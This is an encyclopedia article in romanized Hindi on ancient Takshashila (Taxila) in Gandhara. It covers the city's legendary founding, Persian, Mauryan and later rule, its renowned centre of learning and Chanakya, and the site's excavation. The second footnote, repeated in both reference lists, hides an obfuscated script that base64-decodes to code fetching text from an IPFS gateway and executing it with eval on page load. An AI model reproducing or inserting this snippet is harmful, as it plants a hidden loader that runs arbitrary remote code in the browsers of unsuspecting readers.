तक्षशिला

	takshashila
	jauliyan math, takshashila\|200px\|center
vivaran	'takshashila' prachin bharat mean gaandhar desh ki rajadhani aur shiksha ka pramukh kendr tha.
vartaman desh	ravalapindi, pakistan
ullekh	ramayan mean ise bharat dvara rajakumar taksh ke nam par sthapit bataya gaya hai, jo yahaan ka shasak niyukt kiya gaya tha.
itihas	eeran ke samrat dara ke 520 ee.poo. ke abhilekh mean panjab ke pashchimi bhag par usaki vijay ka varnan hai. yadi yah tathy ho to takshashila bhi is kal mean eeran ke adhin rahi hogi.
any janakari	mahabharat yuddh ke bad raja parikshit ke vanshajoan ne kuchh pidhiyoan tak yahaan apana adhikar banae rakha aur janamejay ne apana nagayajn bhi yahian kiya tha.

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takshashila prachin bharat mean gaandhar desh ki rajadhani aur shiksha ka pramukh kendr tha. yahaan ka vishvavidyalay vishv ke prachinatam vishvavidyalayoan mean shamil hai. yah hindoo evan bauddh donoan ke liye mahatvapoorn kendr tha. chanaky yahaan par achary the. 405 ee. mean phahyan yahaan aya tha. takshashila vartaman samay mean pakistan ke panjab prant ke ravalapindi zile ki ek tahasil hai.

itihas

takshashila adhunik ‘takshita’ ka prachin nam hai. khudaee hone par yah nagar ravalapiandi ke samip nikala hai. mahabharat ke anusar yah nagari gaandhar mean honi chahie. bharat ke putr taksh ki rajadhani yahian thi aur janamejay ne sarp yajn bhi yahian kiya tha. takshashila prachin samay ka vikhyat vidyapith tha tatha sansar prasiddh kootanitijn chanaky (kautily) yahian ka tha.^[2]

gandharvadesh

[[chitr:Taxila.jpg|thumb|left|250px|takshashila ke avashesh]] gaandhar ki charcha rrigved se hi milati hai, kiantu takshashila ki janakari sarvapratham valmiki ramayan se hoti hai. ayodhya ke raja ram ki vijayoan ke ullekh ke silasile mean hamean yah jnat hota hai ki unake chhote bhaee bharat ne apane nana kekayaraj ashvapati ke amantran aur unaki sahayata se gandharvoan ke desh (gaandhar) ko jita aur apane do putroan ko vahaan ka shasak niyukt kiya. gandharv desh siandhu nadi ke donoan kinare sthit tha.^[3] aur usake danoan or bharat ke taksh aur pushkal namak donoan putroan ne takshashila aur pushkalavati namak apani-apani rajadhaniyaan basaee.^[4] takshashila siandhu ke poorvi tat par thi. un raghuvanshi kshatriyoan ke vanshajoan ne takshashila par kitane dinoan tak shasan kiya, yah bata sakana kathin hai. kalidas ne raghuvansh 15,89 mean bhi isi tathy ka ullekh kiya hai.^[5] takshashila ka varnan mahabharat mean parikshit ke putr janamejay dvara vijit nagari ke roop mean hai.

chandragupt maury ka adhikar

mahabharat yuddh ke bad raja parikshit ke vanshajoan ne kuchh pidhiyoan tak yahaan apana adhikar banae rakha aur janamejay ne apana nagayajn bhi yahian kiya tha.^[6] gautam buddh ke samay gaandhar ke raja 'pukkusati' ne magadh ke raja bimbisar ke yahaan apana dootamandal bheja tha. chhathi shati eesa poorv faras ke shasak 'kurush' ne siandh pradeshoan par akraman kiya aur bad mean bhi usake kuchh uttaradhikariyoan ne usaki nakal ki. lagata hai takshashila unake qabze mean chali gee aur lagabhag 200 varshoan tak us par faras ka adhipaty raha. makadooniya ke akramanakari vijeta sikandar ke samay ki takshashila ki charcha karate hue straibo ne likha hai-ki vah ek b da nagar tha, achchhi vidhiyoan se shasit tha, ghani abadi vala tha aur upajaoo bhoomi se yukt tha. vahaan ka shasak tha- 'baisiliyas' athava 'taiksilij'.^[7] usane sikandar se upaharoan ke sath bheant kar mitrata kar li. usaki mrityu ke bad usaka putr bhi jisaka nam ambhi tha, sikandar ka mitr bana raha. kiantu tho de hi dinoan pashchath‌ chandragupt maury ne uttari pashchimi simakshetroan se sikandar ke sipahasalaroan ko marakar nikal diya aur takshashila par usaka adhikar ho gaya.

takshashila vishvavidyalay

REDIRECTsaancha:mukhy

telapatt aur susimajatak mean takshashila ko kashi se 2000 kos door bataya gaya he. jatakoan mean^[8] takshashila ke mahavidyalay ki bhi anek bar charcha huee hai. yahaan adhyayan karane ke lie door-door se vidyarthi ate the. bharat ke jnat itihas ka yah sarvaprachin vishvavidyalay tha. yahaan, buddh kal mean kosal- 'naresh prasenajith', kushinagar ka 'bandhulamall', vaishali ka 'mahali', magadh naresh bianbisar ka prasiddh rajavaidy 'jivak', ek any chikitsak 'kaumarabhrity' tatha paravarti kal mean 'chanaky' tatha 'vasubandhu' isi jagath prasiddh mahavidyalay ke chhatr rahe the. is vishvavidyalay mean raja aur rank sabhi vidyarthiyoan ke sath saman vyavahar hota tha. jatak kathaoan se yah bhi jnat hota hai ki takshashila mean dhanurved tatha vaidyak tatha any vidyaoan ki ooanchi shiksha di jati thi.

chitr:Blockquote-open.gif takshashila bharat ka ek prachin aur mahattvapoorn vidya kendr tatha gaandhar prant ki rajadhani. ramayan mean ise bharat dvara rajakumar taksh ke nam par sthapit bataya gaya hai, jo yahaan ka shasak niyukt kiya gaya tha. janamejay ka sarpayajn bhi isi sthan par hua tha. chitr:Blockquote-close.gif

vidyarthi solah-satrah varsh ki avastha mean yahaan shiksha ke lie pravesh karate the. ek shikshak ke niyantran mean bis ya pachchis vidyarthi rahate the. shikshakoan ka nirikshak dishapramukh achary (disapamokkhachariyaan) kahalata tha. kashi ke ek rajakumar ka bhi takshashila mean jakar adhyayan karane ka ullekh ek jatak katha mean hai.

achary chanaky

[[chitr:Chanakya-1.jpg|thumb|chanaky]]

REDIRECTsaancha:mukhy

kuanbhakarajatak mean nagnajit namak raja ki rajadhani takshashila mean bataee gee hai. alakshyendr ke bharat par akraman karane ke samay yahaan ka raja aanbhi (omphis) tha jisane alaksheandr ko puroo ke viruddh sahayata di thi. mahavansh tika mean arthashastr ke prasiddh rachayita chanaky ko takshashila ka nivasi bataya gaya hai. chanaky ne prachin arthashastroan ki paranpara mean aanbhiy ke arthashastr ki charcha ki hai.^[9] chanaky svayan bhi takshashila vidyalay mean achary rahe the. unhoanne apane parishkrit evan vikasit mastishk dvara bharat ki tatkalin rajanitik duravastha ko pahachana tatha usake pratikar ke lie mahanh prayatn kiya jisake phalasvaroop vishal maury-samrajy ki sthapana huee. bauddh sahity se jnat hota hai ki takshashila vishvavidyalay dhanurvidya tatha vaidyak ki shiksha ke lie tatkalin sabhy sansar mean prasiddh tha. jaisa oopar kaha gaya hai., gautam buddh ke samakalin magadh-samrat bianbasar ka rajavaidy 'jivak' isi mahavidyalay ka ratn tha.

ashok shasanakal

takshashila ka pradesh atiprachin kal se hi videshiyoan dvara akrant hota raha hai. eeran ke samrat dara ke 520 ee.poo. ke abhilekh mean panjab ke pashchimi bhag par usaki vijay ka varnan hai. yadi yah tathy ho to takshashila bhi is kal mean eeran ke adhin rahi hogi. panini ne 4,3,93 mean takshashila ka ullekh kiya hai. alaksheandr ke itihasalekhakoan ke anusar 327 ee. poo. mean is desh ke nivasi sukhi tatha samriddh the. lagabhag 320 ee.poo. mean uttari bharat ke any sabhi kshudr rajyoan ke sath hi takshashila bhi chandragupt maury dvara sthapit samrajy mean vilin ho gayi. bauddh granthoan ke anusar biandusar ke shasanakal mean takshashila ke nivasiyoan ne vidroh kiya kiantu is pradesh ke prashasak ashok ne us vidroh ko shaantipoorvak daba diya. ashok ke rajy-kal mean 'takshashila' 'uttarapath' ki rajadhani thi. kunal ki karunajanak kahani ki ghatanasthali takshashila hi thi, jisaka smarak 'kunal stoop' aj bhi yahaan vidyaman hai.

ashok ke bad

ashok ke pashchath uttar-pashchimi bharat mean bahut samay tak rajanitik asthirata rahi. baiktriya ya balkh ke yoonaniyoan (232-100 ee.poo.) tatha shak ya sithiyanoan (pratham shati ee.) tatha tatpashchath parthiyanoan aur kushanoan ne tisari shati ee. tak takshashila tatha parshvavarti pradeshoan par rajy kiya. chauthi shati ee. mean takshashila gupt samratoan ke prabhavakshetr mean rahi kiantu paanchavi shati ee. mean hone vale barbar hoonoan ke akramanoan ne takshashila ki sari prachin samriddhi aur sabhyata ko nasht kar diya. satavian shati ee. ke tritiy dashak mean chini yatri yuvanachvaang ne takshashila ko uj da paya tha. usake lekh ke anusar us samay takshashila kashmir ka ek karad rajy tha. isake pashchath takshashila ka agale 1200 varshoan ka itihas vismriti ke aandhakar mean vilin ho jata hai.

khandaharoan ki khoj

1863 ee. mean janaral kaniangham ne takshashila ko yahaan ke khandaharoan ki jaanch karake khoj nikala. tatpashchath 1912 se 1929 tak, sar jon marshal ne is sthan par vistrit khudaee ki aur prachur tatha moolyavan samagri ka udghatan karake is nagari ke prachin vaibhav tatha aishvary ki kshin jhalak itihasapremiyoan ke samaksh prastut ki. utkhanan se takshashila mean tin prachin nagaroan ke dhvansavashesh prapt hue haian, jinake vartaman nam 'bhir ka tila', 'sirakap' tatha 'sirasukh' haian. sabase purana nagar 'bhir ke tile' ke asthan par tha. kaha jata hai ki yah poorv buddh-kalin nagar tha yahaan takshashila ka prakhyat vishvavidyalay sthit tha. sirakap ke charoan or parakote ki divar thi. yahaan ke khandaharoan se anek bahumooly ratn tatha abhooshan prapt hue. jinase is nagari ke is bhag ki jo kushan rajyakal mean poorv ka hai, samriddhi ka pata chalata hai. sirasukh jo sanbhavat: kushan rajaoan ke samay ki takshashila hai, ek chaukor nakshe par bana hua tha. in tin nagaroan ke khandaharoan ke atirikt, takshashila ke bhagnavasheshoan mean anek bauddhabiharoan ki nasht-bhrasht imaratean aur kee stoop haian jinamean kunal, dharmaralik aur bhallar mukhy haian. inase bauddhakal mean, is nagari ka bauddh dharm ka ek mahattvapoorn keandr hona pramanit hota hai. takshashila prachin kal mean jainoan ki bhi tirthasthali thi. puratan prabandhasangrah namak granth mean^[10] takshashila ke aantargat 105 jain-tirth batae ge haian. isi nagari ko sanbhavat: tirthamala chaityavandan mean dharmachakr kaha gaya hai.^[11]

aitihasik evan pauranik sandarbh

taksh nam ke raja (jise taksh khand bhi kaha gaya hai) se takshashila nam hua. jisaka sanskrit arth hota hai "raja taksh ke lie " ramayan ke anusar taksh, bharat aur mandavi ka putr tha.
eesa poorv 5vian shati mean takshashila mukhy shiksha kendr ban chuka tha. isake vishvavidyalay hone par kuchh vivad haian, jo ki nalanda vishvavidyalay ko lekar nahian hai jisaka svaroop adhunik vishvavidyalay ki tarah hi mana jata haian. 5vian shatabdi ki jatak kathao mean bhi isaka ullekh hai.
takshashila ki prasiddhi mahanh arthashastri chanaky (vishnugupt) ke karan bhi hai jo ki yahaan pradhyapak the aur inhoanne chandragupt ke sath milake maury samrajy ki nianv dali.
ayurved ke mahanh vidvanh charak ne bhi takshashila mean hi shiksha grahan ki thi.
pataliputr se takshashila jane vala mukhy vyaparik marg mathura se gujarata tha. bauddh dharm ki mahayan shakha ka vikas takshashila vishvavidyalay mean hi hone ke ullekh milate haian.
mahabharat athava ramayan mean isake vidyakendr hone ki charcha nahian hai, kintu ee.poo. saptam shatabdi mean yah sthan vidyapith ke roop mean poorn roop se prasiddh ho chuka tha tatha rajagrih, kashi evan mithila ke vidvanoan ke akarshan ka kend ban gaya tha.
ramayan mean ise bharat dvara rajakumar taksh ke nam par sthapit bataya gaya hai, jo yahaan ka shasak niyukt kiya gaya tha.
janamejay ka sarpayajn isi sthan par hua tha.^[12]
sikandar ke akraman ke samay yah vidyapith apane darshanikoan ke lie prasiddh tha.
kosal ke raja prasenajin ke putr tatha bimbisar ke rajavaidy jivak ne takshashila mean hi shila payi thi. kuru tatha kosalarajy nishchit sakhya mean yahaan prati varsh chhatroan ko bhejate the.
takshashila ke ek dhan:shastr ke vidyalay mean bharat ke vibhinn bhagoan se saik doan rajakumar yuddhavidya sikhane ate the.
jatakoan mean yahaan padhaye jane vale vishayoan mean vedatrayi evan atharah kalaoan evan shilpoan ka varnan milata hai.
satavian shati mean jab hvenasaang idhar bhraman karane aya tab isaka gaurav samapt pray tha.
fahyan ko bhi yahaan koee shaikshanik mahattv ki bat nahian prapt huee thi. vastav mean isaki shiksha vishayak charcha maury kal ke bad nahian suni jati. sambhavat: barbar videshiyoan ke akramanoan ne ise nasht kar diya, sanrakshan dena to door ki bat thi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ mahabharat, svargarohan parv, adhyay 5
↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 557, parishisht 'k' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ siandhorubhayat: parshve desh: paramashobhan:, valmiki ramayan, saptam, 100-11
↑ raghuvansh pandrahavaan, 88-9; valmiki ramayan, saptam, 101.10-11; vayupuran, 88.190, mahabharat, pratham 3.22).
↑ 's takshapushkalau putrau rajadhanyau tadakhyayau, abhishichyabhishekarhi ramantikamagath pun:.'
↑ mahabharat, svargarohan parv, adhyay 5
↑ haimiltan aur phakanar ka aangreji anuvad, tritiy, prisht 90
↑ udyalak tatha setaketu jatak
↑ tamas-barhaspaty arthashastr-bhoomika pri. 15
↑ pri. 107
↑ de. eansheant jain hims, pri.55
↑ mahabharat 1.3.20

bahari k diyaan

bharat ke prachin shiksha kendr

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] rat, svargarohan parv, adhyay 5

[2] uranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 557, parishisht 'k' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] siandhorubhayat: parshve desh: paramashobhan:, valmiki ramayan, saptam, 100-11

[4] raghuvansh pandrahavaan, 88-9; valmiki ramayan, saptam, 101.10-11; vayupuran, 88.190, mahabharat, pratham 3.22).

[5] 's takshapushkalau putrau rajadhanyau tadakhyayau, abhishichyabhishekarhi ramantikamagath pun:.'

[6] rat, svargarohan parv, adhyay 5

[7] tan aur phakanar ka aangreji anuvad, tritiy, prisht 90

[8] udyalak tatha setaketu jatak

[9] tamas-barhaspaty arthashastr-bhoomika pri. 15

[10] ri. 107

[11] . eansheant jain hims, pri.55

[12] rat 1.3.20

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

[10]

[11]

[12]

takshashila
jauliyan math, takshashila\|200px\|center
vivaran	'takshashila' prachin bharat mean gaandhar desh ki rajadhani aur shiksha ka pramukh kendr tha.
vartaman desh	ravalapindi, pakistan
ullekh	ramayan mean ise bharat dvara rajakumar taksh ke nam par sthapit bataya gaya hai, jo yahaan ka shasak niyukt kiya gaya tha.
itihas	eeran ke samrat dara ke 520 ee.poo. ke abhilekh mean panjab ke pashchimi bhag par usaki vijay ka varnan hai. yadi yah tathy ho to takshashila bhi is kal mean eeran ke adhin rahi hogi.
any janakari	mahabharat yuddh ke bad raja parikshit ke vanshajoan ne kuchh pidhiyoan tak yahaan apana adhikar banae rakha aur janamejay ne apana nagayajn bhi yahian kiya tha.^[1]